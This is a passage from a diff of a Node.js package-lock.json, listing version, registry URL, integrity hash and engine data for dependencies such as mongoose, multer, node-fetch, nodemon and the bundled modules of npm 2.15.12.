"sha512-sd/q83C6TBRPBrrD2A/POSbA/exbCFM2WOuY7Lf2JuIJFlHFG39zYSDTTAEiYlzIfahNOLmXPxBGFxdAch41Mw==", + "dependencies": { + "bson": "^4.7.2", + "kareem": "2.5.1", + "mongodb": "4.17.1", + "mpath": "0.9.0", + "mquery": "4.0.3", + "ms": "2.1.3", + "sift": "16.0.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mongoose" + } + }, + "node_modules/mpath": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.9.0.tgz", + "integrity": "sha512-ikJRQTk8hw5DEoFVxHG1Gn9T/xcjtdnOKIU1JTmGjZZlg9LST2mBLmcX3/ICIbgJydT2GOc15RnNy5mHmzfSew==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mpg123-decoder": { + "version": "0.4.8", + "resolved": "https://registry.npmjs.org/mpg123-decoder/-/mpg123-decoder-0.4.8.tgz", + "integrity": "sha512-HXs8vbPjiFM0NOZ45T3C5i7mpYGEYhjH37SnFA907lOb9c93DQL40cDjerxj65IMwAYyPFq1aUjtDOjyR7O0gQ==", + "dependencies": { + "@wasm-audio-decoders/common": "9.0.1" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/eshaz" + } + }, + "node_modules/mquery": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/mquery/-/mquery-4.0.3.tgz", + "integrity": "sha512-J5heI+P08I6VJ2Ky3+33IpCdAvlYGTSUjwTPxkAr8i8EoduPMBX2OY/wa3IKZIQl7MU4SbFk8ndgSKyB/cl1zA==", + "dependencies": { + "debug": "4.x" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/multer": { + "version": "1.4.5-lts.1", + "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.5-lts.1.tgz", + "integrity": "sha512-ywPWvcDMeH+z9gQq5qYHCCy+ethsk4goepZ45GLD63fOu0YcNecQxi64nDs3qluZB+murG3/D4dJ7+dGctcCQQ==", + "dependencies": { + "append-field": "^1.0.0", + "busboy": "^1.0.0", + "concat-stream": "^1.5.2", + "mkdirp": "^0.5.4", + "object-assign": "^4.1.1", + "type-is": "^1.6.4", + "xtend": "^4.0.0" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/multer/node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/multimatch": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/multimatch/-/multimatch-5.0.0.tgz", + "integrity": "sha512-ypMKuglUrZUD99Tk2bUQ+xNQj43lPEfAeX2o9cTteAmShXy2VHDJpuwu1o0xqoKCt9jLVAvwyFKdLTPXKAfJyA==", + "dependencies": { + "@types/minimatch": "^3.0.3", + "array-differ": "^3.0.0", + "array-union": "^2.1.0", + "arrify": "^2.0.1", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/multistream": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/multistream/-/multistream-2.1.1.tgz", + "integrity": "sha512-xasv76hl6nr1dEy3lPvy7Ej7K/Lx3O/FCvwge8PeVJpciPPoNCbaANcNiBug3IpdvTveZUcAV0DJzdnUDMesNQ==", + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.5" + } + }, + "node_modules/mumaker": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/mumaker/-/mumaker-1.0.0.tgz", + "integrity": "sha512-gAswNAHTCjce7krJB1b69JkGW4XKfN0TTf+gUi2uGiuu2BhHeOph6oMirxxmrpsNDuJdKa2jFLD8pMR+b/mZMQ==", + "dependencies": { + "axios": "^0.24.0", + "cheerio": "^1.0.0-rc.10", + "cookie": "^0.4.1", + "form-data": "^4.0.0", + "node-fetch": "^2.6.1", + "qs": "^6.10.2" + } + }, + "node_modules/mumaker/node_modules/cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/music-metadata": { + "version": "7.13.4", + "resolved": "https://registry.npmjs.org/music-metadata/-/music-metadata-7.13.4.tgz", + "integrity": "sha512-eRRoEMhhYdth2Ws24FmkvIqrtkIBE9sqjHbrRNpkg2Iux3zc37PQKRv2/r/mTtELb7XlB1uWC2UcKKX7BzNMGA==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "content-type": "^1.0.5", + "debug": "^4.3.4", + "file-type": "^16.5.4", + "media-typer": "^1.1.0", + "strtok3": "^6.3.0", + "token-types": "^4.2.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" + }, + "node_modules/needle": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/needle/-/needle-2.4.0.tgz", + "integrity": "sha512-4Hnwzr3mi5L97hMYeNl8wRW/Onhy4nUKR/lVemJ8gJedxxUyBLm9kkrDColJvoSfwi0jCNhD+xCdOtiGDQiRZg==", + "dependencies": { + "debug": "^3.2.6", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + }, + "bin": { + "needle": "bin/needle" + }, + "engines": { + "node": ">= 4.4.x" + } + }, + "node_modules/needle/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/netmask": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/netmask/-/netmask-2.0.2.tgz", + "integrity": "sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/next-tick": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", + "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==" + }, + "node_modules/node-base64-image": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/node-base64-image/-/node-base64-image-2.0.5.tgz", + "integrity": "sha512-FUrzgxO3NkHfytINilaMfJ6ebUYccsfagcHbgu5w1RNFzyQ7Mka+RECgx9qUIGsITqAajT54Piqi1tk2QxgPYw==", + "dependencies": { + "axios": "1.3.5" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/node-base64-image/node_modules/axios": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.3.5.tgz", + "integrity": "sha512-glL/PvG/E+xCWwV8S6nCHcrfg1exGx7vxyUIivIA1iL7BIh6bePylCfVHwp6k13ao7SATxB6imau2kqY+I67kw==", + "dependencies": { + "follow-redirects": "^1.15.0", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/node-cache": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/node-cache/-/node-cache-5.1.2.tgz", + "integrity": "sha512-t1QzWwnk4sjLWaQAS8CHgOJ+RAfmHpxFWmc36IWTiWHQfs0w5JDMBS1b1ZxQteo0vVVuWJvIUKHDkkeK7vIGCg==", + "dependencies": { + "clone": "2.x" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/node-cron": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/node-cron/-/node-cron-3.0.2.tgz", + "integrity": "sha512-iP8l0yGlNpE0e6q1o185yOApANRe47UPbLf4YxfbiNHt/RU5eBcGB/e0oudruheSf+LQeDMezqC5BVAb5wwRcQ==", + "dependencies": { + "uuid": "8.3.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/node-cron/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/node-fetch": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.12.tgz", + "integrity": "sha512-C/fGU2E8ToujUivIO0H+tpQ6HWo4eEmchoPIoXtxCrVghxdKq+QOHqEZW7tuP3KlV3bC8FRMO5nMCC7Zm1VP6g==", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-fetch/node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" + }, + "node_modules/node-fetch/node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" + }, + "node_modules/node-fetch/node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/node-fzf": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/node-fzf/-/node-fzf-0.5.3.tgz", + "integrity": "sha512-crN8rRfApu/GUrtKq+zJ6LueUyNAOJpFHxoT2Ru1Q+OYRa/F/H7CXvzcMrFc7D964yakYZEZ9XR3YbdSHXgyCw==", + "dependencies": { + "cli-color": "~1.2.0", + "keypress": "~0.2.1", + "minimist": "~1.2.0", + "redstar": "0.0.2", + "string-width": "~2.1.1", + "ttys": "0.0.3" + }, + "bin": { + "nfzf": "bin/cli.js" + } + }, + "node_modules/node-fzf/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/node-fzf/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "engines": { + "node": ">=4" + } + }, + "node_modules/node-fzf/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/node-fzf/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/node-id3": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/node-id3/-/node-id3-0.2.6.tgz", + "integrity": "sha512-w8GuKXLlPpDjTxLowCt/uYMhRQzED3cg2GdSG1i6RSGKeDzPvxlXeLQuQInKljahPZ0aDnmyX7FX8BbJOM7REg==", + "dependencies": { + "iconv-lite": "0.6.2" + } + }, + "node_modules/node-id3/node_modules/iconv-lite": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz", + "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/node-superfetch": { + "version": "0.1.11", + "resolved": "https://registry.npmjs.org/node-superfetch/-/node-superfetch-0.1.11.tgz", + "integrity": "sha512-984lO43EvDtjBOpVXDqnR2L5+pVt+qWfqIE6H7Sl21BoIz26OwSKxBnO9ZmJkYXAimR64MUPiz6tn5hySy1d0Q==", + "dependencies": { + "form-data": "^3.0.0", + "node-fetch": "^2.6.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/node-superfetch/node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/node-wav": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/node-wav/-/node-wav-0.0.2.tgz", + "integrity": "sha512-M6Rm/bbG6De/gKGxOpeOobx/dnGuP0dz40adqx38boqHhlWssBJZgLCPBNtb9NkrmnKYiV04xELq+R6PFOnoLA==", + "engines": { + "node": ">=4.4.0" + } + }, + "node_modules/node-webpmux": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/node-webpmux/-/node-webpmux-3.1.8.tgz", + "integrity": "sha512-CKLYCAU4zlr/2+OVTRb6mcvqgTHYT0/UTAHEzpGny0pOaLDLHzDQXJkPCoghFSOG6ihNKQtZN4GHIJ9VQWhMiw==" + }, + "node_modules/node-youtube-music": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/node-youtube-music/-/node-youtube-music-0.8.3.tgz", + "integrity": "sha512-BeV3FB3qHJkRBA7+2b1xcHzTrvnf6qK3e9v6Wc3t2keDITwJO64/M2ld+QaLOljpN3Pp7QB1BaSB1Rn4f7UltQ==", + "dependencies": { + "got": "^11.8.2" + } + }, + "node_modules/nodemon": { + "version": "2.0.22", + "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.22.tgz", + "integrity": "sha512-B8YqaKMmyuCO7BowF1Z1/mkPqLk6cs/l63Ojtd6otKjMx47Dq1utxfRxcavH1I7VSaL8n5BUaoutadnsX3AAVQ==", + "dependencies": { + "chokidar": "^3.5.2", + "debug": "^3.2.7", + "ignore-by-default": "^1.0.1", + "minimatch": "^3.1.2", + "pstree.remy": "^1.1.8", + "semver": "^5.7.1", + "simple-update-notifier": "^1.0.7", + "supports-color": "^5.5.0", + "touch": "^3.1.0", + "undefsafe": "^2.0.5" + }, + "bin": { + "nodemon": "bin/nodemon.js" + }, + "engines": { + "node": ">=8.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/nodemon" + } + }, + "node_modules/nodemon/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/nodemon/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/nodemon/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==", + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm": { + "version": "2.15.12", + "resolved": "https://registry.npmjs.org/npm/-/npm-2.15.12.tgz", + "integrity": "sha512-WMoAJ518W0vHjWy1abYnTeyG9YQpSoYGPxAx7d0C0L7U7Jo44bZsrvTjccmDohCJGxpasdKfqsKsl6o/RUPx6A==", + "bundleDependencies": [ + "abbrev", + "ansi", + "ansi-regex", + "ansicolors", + "ansistyles", + "archy", + "async-some", + "block-stream", + "char-spinner", + "chmodr", + "chownr", + "cmd-shim", + "columnify", + "config-chain", + "dezalgo", + "editor", + "fs-vacuum", + "fs-write-stream-atomic", + "fstream", + "fstream-npm", + "github-url-from-git", + "github-url-from-username-repo", + "glob", + "graceful-fs", + "hosted-git-info", + "imurmurhash", + "inflight", + "inherits", + "ini", + "init-package-json", + "lockfile", + "lru-cache", + "minimatch", + "mkdirp", + "node-gyp", + "nopt", + "normalize-git-url", + "normalize-package-data", + "npm-cache-filename", + "npm-install-checks", + "npm-package-arg", + "npm-registry-client", + "npm-user-validate", + "npmlog", + "once", + "opener", + "osenv", + "path-is-inside", + "read", + "read-installed", + "read-package-json", + "readable-stream", + "realize-package-specifier", + "request", + "retry", + "rimraf", + "semver", + "sha", + "slide", + "sorted-object", + "spdx-license-ids", + "strip-ansi", + "tar", + "text-table", + "uid-number", + "umask", + "validate-npm-package-license", + "validate-npm-package-name", + "which", + "wrappy", + "write-file-atomic" + ], + "dependencies": { + "abbrev": "~1.0.9", + "ansi": "~0.3.1", + "ansi-regex": "*", + "ansicolors": "~0.3.2", + "ansistyles": "~0.1.3", + "archy": "~1.0.0", + "async-some": "~1.0.2", + "block-stream": "0.0.9", + "char-spinner": "~1.0.1", + "chmodr": "~1.0.2", + "chownr": "~1.0.1", + "cmd-shim": "~2.0.2", + "columnify": "~1.5.4", + "config-chain": "~1.1.10", + "dezalgo": "~1.0.3", + "editor": "~1.0.0", + "fs-vacuum": "~1.2.9", + "fs-write-stream-atomic": "~1.0.8", + "fstream": "~1.0.10", + "fstream-npm": "~1.1.1", + "github-url-from-git": "~1.4.0", + "github-url-from-username-repo": "~1.0.2", + "glob": "~7.0.6", + "graceful-fs": "~4.1.6", + "hosted-git-info": "~2.1.5", + "imurmurhash": "*", + "inflight": "~1.0.4", + "inherits": "~2.0.3", + "ini": "~1.3.4", + "init-package-json": "~1.9.4", + "lockfile": "~1.0.1", + "lru-cache": "~4.0.1", + "minimatch": "~3.0.3", + "mkdirp": "~0.5.1", + "node-gyp": "~3.6.0", + "nopt": "~3.0.6", + "normalize-git-url": "~3.0.2", + "normalize-package-data": "~2.3.5", + "npm-cache-filename": "~1.0.2", + "npm-install-checks": "~1.0.7", + "npm-package-arg": "~4.1.0", + "npm-registry-client": "~7.2.1", + "npm-user-validate": "~0.1.5", + "npmlog": "~2.0.4", + "once": "~1.4.0", + "opener": "~1.4.1", + "osenv": "~0.1.3", + "path-is-inside": "~1.0.0", + "read": "~1.0.7", + "read-installed": "~4.0.3", + "read-package-json": "~2.0.4", + "readable-stream": "~2.1.5", + "realize-package-specifier": "~3.0.1", + "request": "~2.74.0", + "retry": "~0.10.0", + "rimraf": "~2.5.4", + "semver": "~5.1.0", + "sha": "~2.0.1", + "slide": "~1.1.6", + "sorted-object": "~2.0.0", + "spdx-license-ids": "~1.2.2", + "strip-ansi": "~3.0.1", + "tar": "~2.2.1", + "text-table": "~0.2.0", + "uid-number": "0.0.6", + "umask": "~1.1.0", + "validate-npm-package-license": "~3.0.1", + "validate-npm-package-name": "~2.2.2", + "which": "~1.2.11", + "wrappy": "~1.0.2", + "write-file-atomic": "~1.1.4" + }, + "bin": { + "npm": "bin/npm-cli.js" + } + }, + "node_modules/npm/node_modules/abbrev": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", + "integrity": "sha512-LEyx4aLEC3x6T0UguF6YILf+ntvmOaWsVfENmIW0E9H09vKlLDGelMjjSm0jkDHALj8A8quZ/HapKNigzwge+Q==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ansi": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/ansi/-/ansi-0.3.1.tgz", + "integrity": "sha512-iFY7JCgHbepc0b82yLaw4IMortylNb6wG4kL+4R0C3iv6i+RHGHux/yUX5BTiRvSX/shMnngjR1YyNMnXEFh5A==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ansi-regex": { + "version": "2.0.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ansicolors": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", + "integrity": "sha512-QXu7BPrP29VllRxH8GwB7x5iX5qWKAAMLqKQGWTeLWVlNHNOpVMJ91dsxQAIWXpjuW5wqvxu3Jd/nRjrJ+0pqg==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ansistyles": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/ansistyles/-/ansistyles-0.1.3.tgz", + "integrity": "sha512-6QWEyvMgIXX0eO972y7YPBLSBsq7UWKFAoNNTLGaOJ9bstcEL9sCbcjf96dVfNDdUsRoGOK82vWFJlKApXds7g==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/archy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", + "integrity": "sha512-Xg+9RwCg/0p32teKdGMPTPnVXKD0w3DfHnFTficozsAgsvq2XenPJq/MYpzzQ/v8zrOyJn6Ds39VA4JIDwFfqw==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/async-some": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/async-some/-/async-some-1.0.2.tgz", + "integrity": "sha512-VbEsqdl4ztEqzb3Cgpk9L81Q4eyMl3XFdA0i+12Qmyw/bNx4aDAJqmIMKXh1mKGJ2IaPvGvN682YKZDaJMLUdA==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "dezalgo": "^1.0.2" + } + }, + "node_modules/npm/node_modules/block-stream": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz", + "integrity": "sha512-OorbnJVPII4DuUKbjARAe8u8EfqOmkEEaSFIyoQ7OjTHn6kafxWl0wLgoZ2rXaYd7MyLcDaU4TmhfxtwgcccMQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "inherits": "~2.0.0" + }, + "engines": { + "node": "0.4 || >=0.5.8" + } + }, + "node_modules/npm/node_modules/char-spinner": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/char-spinner/-/char-spinner-1.0.1.tgz", + "integrity": "sha512-acv43vqJ0+N0rD+Uw3pDHSxP30FHrywu2NO6/wBaHChJIizpDeBUd6NjqhNhy9LGaEAhZAXn46QzmlAvIWd16g==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/chmodr": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chmodr/-/chmodr-1.0.2.tgz", + "integrity": "sha512-oHosCxCZpaI/Db320r8M5SHHZuVfnFJVwkSGkI81QLnnVg25pDw//NgD4fy1WvvydhZNi2G+jrbNSprRkfbRYA==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/chownr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", + "integrity": "sha512-cKnqUJAC8G6cuN1DiRRTifu+s1BlAQNtalzGphFEV0pl0p46dsxJD4l1AOlyKJeLZOFzo3c34R7F3djxaCu8Kw==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/cmd-shim": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/cmd-shim/-/cmd-shim-2.0.2.tgz", + "integrity": "sha512-NLt0ntM0kvuSNrToO0RTFiNRHdioWsLW+OgDAEVDvIivsYwR+AjlzvLaMJ2Z+SNRpV3vdsDrHp1WI00eetDYzw==", + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "graceful-fs": "^4.1.2", + "mkdirp": "~0.5.0" + } + }, + "node_modules/npm/node_modules/columnify": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/columnify/-/columnify-1.5.4.tgz", + "integrity": "sha512-rFl+iXVT1nhLQPfGDw+3WcS8rmm7XsLKUmhsGE3ihzzpIikeGrTaZPIRKYWeLsLBypsHzjXIvYEltVUZS84XxQ==", + "inBundle": true, + "license": "MIT", + "dependencies": { + "strip-ansi": "^3.0.0", + "wcwidth": "^1.0.0" + } + }, + "node_modules/npm/node_modules/columnify/node_modules/wcwidth": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "defaults": "^1.0.0" + } + }, + "node_modules/npm/node_modules/columnify/node_modules/wcwidth/node_modules/defaults": { + "version": "1.0.3", + "inBundle": true, + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + } + }, + "node_modules/npm/node_modules/columnify/node_modules/wcwidth/node_modules/defaults/node_modules/clone": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/config-chain": { + "version": "1.1.10", + "inBundle": true, + "dependencies": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "node_modules/npm/node_modules/config-chain/node_modules/proto-list": { + "version": "1.2.4", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/dezalgo": { + "version": "1.0.3", + "inBundle": true, + "license": "ISC", + "dependencies": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/dezalgo/node_modules/asap": { + "version": "2.0.3", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/editor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/editor/-/editor-1.0.0.tgz", + "integrity": 